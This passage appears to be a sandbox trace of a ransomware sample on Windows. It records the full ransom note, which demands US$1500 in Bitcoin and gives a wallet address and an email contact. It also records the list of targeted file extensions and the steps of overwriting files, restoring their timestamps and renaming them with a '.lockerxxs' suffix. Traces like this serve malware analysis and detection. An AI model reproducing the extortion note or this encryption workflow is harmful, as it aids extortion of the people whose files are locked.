CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0092.025] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0092.025] WriteFile (in: hFile=0x8c, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0092.027] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0092.027] CloseHandle (hObject=0x8c) returned 1 [0092.027] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\", lpString2="TcbxI.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4" [0092.027] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4", pszSpec="*.ems") returned 0 [0092.027] lstrlenA (lpString="*.ems") returned 5 [0092.027] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4", pszSpec="*.db") returned 0 [0092.027] lstrlenA (lpString="*.db") returned 4 [0092.027] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4", pszSpec="*.dbf") returned 0 [0092.027] lstrlenA (lpString="*.dbf") returned 5 [0092.027] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4", pszSpec="*.myox") returned 0 [0092.027] lstrlenA (lpString="*.myox") returned 6 [0092.027] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4", pszSpec="*.myo") returned 0 [0092.027] lstrlenA (lpString="*.myo") returned 5 [0092.027] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4", pszSpec="*.qbw") returned 0 [0092.027] lstrlenA (lpString="*.qbw") returned 5 [0092.028] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4", pszSpec="*.qbb") returned 0 [0092.028] lstrlenA (lpString="*.qbb") returned 5 [0092.028] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4", pszSpec="*.qbm") returned 0 [0092.028] lstrlenA (lpString="*.qbm") returned 5 [0092.028] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4", pszSpec="*.qbo") returned 0 [0092.028] lstrlenA (lpString="*.qbo") returned 5 [0092.028] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4", pszSpec="*.qbx") returned 0 [0092.028] lstrlenA (lpString="*.qbx") returned 5 [0092.028] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4", pszSpec="*.qba") returned 0 [0092.028] lstrlenA (lpString="*.qba") returned 5 [0092.028] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4", pszSpec="*.qby") returned 0 [0092.028] lstrlenA (lpString="*.qby") returned 5 [0092.028] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4", pszSpec="*.qbj") returned 0 [0092.028] lstrlenA (lpString="*.qbj") returned 5 [0092.028] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4", pszSpec="*.ofx") returned 0 [0092.028] lstrlenA (lpString="*.ofx") returned 5 [0092.028] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4", pszSpec="*.qif") returned 0 [0092.028] lstrlenA (lpString="*.qif") returned 5 [0092.028] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4", pszSpec="*.mye") returned 0 [0092.029] lstrlenA (lpString="*.mye") returned 5 [0092.029] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4", pszSpec="*.mbox") returned 0 [0092.029] lstrlenA (lpString="*.mbox") returned 6 [0092.029] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4", pszSpec="*.eml") returned 0 [0092.029] lstrlenA (lpString="*.eml") returned 5 [0092.029] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4", pszSpec="*.pst") returned 0 [0092.029] lstrlenA (lpString="*.pst") returned 5 [0092.029] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4", pszSpec="*.ost") returned 0 [0092.029] lstrlenA (lpString="*.ost") returned 5 [0092.029] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4", pszSpec="*.idx") returned 0 [0092.029] lstrlenA (lpString="*.idx") returned 5 [0092.029] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4", pszSpec="*.dbx") returned 0 [0092.029] lstrlenA (lpString="*.dbx") returned 5 [0092.029] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4", pszSpec="*.sql") returned 0 [0092.029] lstrlenA (lpString="*.sql") returned 5 [0092.029] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4", pszSpec="*.mdb") returned 0 [0092.029] lstrlenA (lpString="*.mdb") returned 5 [0092.029] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4", pszSpec="*.fdb") returned 0 [0092.029] lstrlenA (lpString="*.fdb") returned 5 [0092.030] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4", pszSpec="*.wab") returned 0 [0092.030] lstrlenA (lpString="*.wab") returned 5 [0092.030] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4", pszSpec="*.dat") returned 0 [0092.030] lstrlenA (lpString="*.dat") returned 5 [0092.030] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4", pszSpec="*.txt") returned 0 [0092.030] lstrlenA (lpString="*.txt") returned 5 [0092.030] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4", pszSpec="*.jpeg") returned 0 [0092.030] lstrlenA (lpString="*.jpeg") returned 6 [0092.030] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4", pszSpec="*.jpg") returned 0 [0092.030] lstrlenA (lpString="*.jpg") returned 5 [0092.030] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4", pszSpec="*.png") returned 0 [0092.030] lstrlenA (lpString="*.png") returned 5 [0092.030] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4", pszSpec="*.php") returned 0 [0092.030] lstrlenA (lpString="*.php") returned 5 [0092.030] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4", pszSpec="*.cs") returned 0 [0092.030] lstrlenA (lpString="*.cs") returned 4 [0092.030] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4", pszSpec="*.cpp") returned 0 [0092.030] lstrlenA (lpString="*.cpp") returned 5 [0092.030] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4", pszSpec="*.rar") returned 0 [0092.030] lstrlenA (lpString="*.rar") returned 5 [0092.031] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4", pszSpec="*.zip") returned 0 [0092.031] lstrlenA (lpString="*.zip") returned 5 [0092.031] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4", pszSpec="*.html") returned 0 [0092.031] lstrlenA (lpString="*.html") returned 6 [0092.031] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4", pszSpec="*.htm") returned 0 [0092.031] lstrlenA (lpString="*.htm") returned 5 [0092.031] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4", pszSpec="*.xlsx") returned 0 [0092.031] lstrlenA (lpString="*.xlsx") returned 6 [0092.031] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4", pszSpec="*.xls") returned 0 [0092.031] lstrlenA (lpString="*.xls") returned 5 [0092.031] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4", pszSpec="*.mp4") returned 1 [0092.031] lstrlenA (lpString="*.mp4") returned 5 [0092.031] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4" [0092.031] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4" [0092.031] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4." [0092.031] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4.lockerxxs" [0092.031] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\tcbxi.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0092.032] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xf844 [0092.032] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9b61e5b0, dwHighDateTime=0x1d5e5a0), lpLastAccessTime=0x407536*(dwLowDateTime=0x82cc7480, dwHighDateTime=0x1d5dff0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x82cc7480, dwHighDateTime=0x1d5dff0)) returned 1 [0092.032] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0092.032] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xf81e, lpOverlapped=0x0) returned 1 [0092.035] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4") returned="TcbxI.mp4" [0092.035] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0092.035] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xf81e, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xf81e, lpOverlapped=0x0) returned 1 [0092.036] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0092.036] CloseHandle (hObject=0x8c) returned 1 [0092.036] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\tcbxi.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\tcbxi.mp4.lockerxxs")) returned 1 [0092.037] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51f60b20, ftCreationTime.dwHighDateTime=0x1d5e430, ftLastAccessTime.dwLowDateTime=0xe9a03c30, ftLastAccessTime.dwHighDateTime=0x1d5ddd6, ftLastWriteTime.dwLowDateTime=0xe9a03c30, ftLastWriteTime.dwHighDateTime=0x1d5ddd6, nFileSizeHigh=0x0, nFileSizeLow=0x4bb3, dwReserved0=0x2c00032f, dwReserved1=0x4e00c4, cFileName="wMeYKve8urHsN1UUwFY.mp4", cAlternateFileName="WMEYKV~1.MP4")) returned 1 [0092.037] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0092.037] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="wMeYKve8urHsN1UUwFY.mp4") returned -1 [0092.037] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="wMeYKve8urHsN1UUwFY.mp4") returned -1 [0092.038] lstrcmpiA (lpString1="", lpString2="wMeYKve8urHsN1UUwFY.mp4") returned -1 [0092.038] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\TcbxI.mp4") returned="TcbxI.mp4" [0092.038] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\" [0092.038] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\") returned="" [0092.038] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\HOW TO DECRYPT FILES.txt" [0092.038] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\how to decrypt files.txt")) returned 0x20 [0092.038] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\", lpString2="wMeYKve8urHsN1UUwFY.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4" [0092.038] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4", pszSpec="*.ems") returned 0 [0092.038] lstrlenA (lpString="*.ems") returned 5 [0092.038] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4", pszSpec="*.db") returned 0 [0092.038] lstrlenA (lpString="*.db") returned 4 [0092.038] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4", pszSpec="*.dbf") returned 0 [0092.038] lstrlenA (lpString="*.dbf") returned 5 [0092.038] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4", pszSpec="*.myox") returned 0 [0092.038] lstrlenA (lpString="*.myox") returned 6 [0092.038] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4", pszSpec="*.myo") returned 0 [0092.038] lstrlenA (lpString="*.myo") returned 5 [0092.039] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4", pszSpec="*.qbw") returned 0 [0092.039] lstrlenA (lpString="*.qbw") returned 5 [0092.039] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4", pszSpec="*.qbb") returned 0 [0092.039] lstrlenA (lpString="*.qbb") returned 5 [0092.039] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4", pszSpec="*.qbm") returned 0 [0092.039] lstrlenA (lpString="*.qbm") returned 5 [0092.039] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4", pszSpec="*.qbo") returned 0 [0092.039] lstrlenA (lpString="*.qbo") returned 5 [0092.039] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4", pszSpec="*.qbx") returned 0 [0092.039] lstrlenA (lpString="*.qbx") returned 5 [0092.039] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4", pszSpec="*.qba") returned 0 [0092.039] lstrlenA (lpString="*.qba") returned 5 [0092.039] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4", pszSpec="*.qby") returned 0 [0092.039] lstrlenA (lpString="*.qby") returned 5 [0092.039] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4", pszSpec="*.qbj") returned 0 [0092.039] lstrlenA (lpString="*.qbj") returned 5 [0092.039] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4", pszSpec="*.ofx") returned 0 [0092.039] lstrlenA (lpString="*.ofx") returned 5 [0092.039] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4", pszSpec="*.qif") returned 0 [0092.039] lstrlenA (lpString="*.qif") returned 5 [0092.039] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4", pszSpec="*.mye") returned 0 [0092.040] lstrlenA (lpString="*.mye") returned 5 [0092.040] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4", pszSpec="*.mbox") returned 0 [0092.040] lstrlenA (lpString="*.mbox") returned 6 [0092.040] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4", pszSpec="*.eml") returned 0 [0092.040] lstrlenA (lpString="*.eml") returned 5 [0092.040] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4", pszSpec="*.pst") returned 0 [0092.040] lstrlenA (lpString="*.pst") returned 5 [0092.040] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4", pszSpec="*.ost") returned 0 [0092.040] lstrlenA (lpString="*.ost") returned 5 [0092.040] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4", pszSpec="*.idx") returned 0 [0092.040] lstrlenA (lpString="*.idx") returned 5 [0092.040] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4", pszSpec="*.dbx") returned 0 [0092.040] lstrlenA (lpString="*.dbx") returned 5 [0092.040] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4", pszSpec="*.sql") returned 0 [0092.040] lstrlenA (lpString="*.sql") returned 5 [0092.040] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4", pszSpec="*.mdb") returned 0 [0092.040] lstrlenA (lpString="*.mdb") returned 5 [0092.040] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4", pszSpec="*.fdb") returned 0 [0092.040] lstrlenA (lpString="*.fdb") returned 5 [0092.041] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4", pszSpec="*.wab") returned 0 [0092.041] lstrlenA (lpString="*.wab") returned 5 [0092.041] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4", pszSpec="*.dat") returned 0 [0092.041] lstrlenA (lpString="*.dat") returned 5 [0092.041] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4", pszSpec="*.txt") returned 0 [0092.041] lstrlenA (lpString="*.txt") returned 5 [0092.041] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4", pszSpec="*.jpeg") returned 0 [0092.041] lstrlenA (lpString="*.jpeg") returned 6 [0092.041] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4", pszSpec="*.jpg") returned 0 [0092.041] lstrlenA (lpString="*.jpg") returned 5 [0092.041] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4", pszSpec="*.png") returned 0 [0092.041] lstrlenA (lpString="*.png") returned 5 [0092.041] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\wMeYKve8urHsN1UUwFY.mp4", pszSpec="*.php") returned 0 [0092.041] lstrlenA (lpString="*.php") returned 5 [0092.041] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 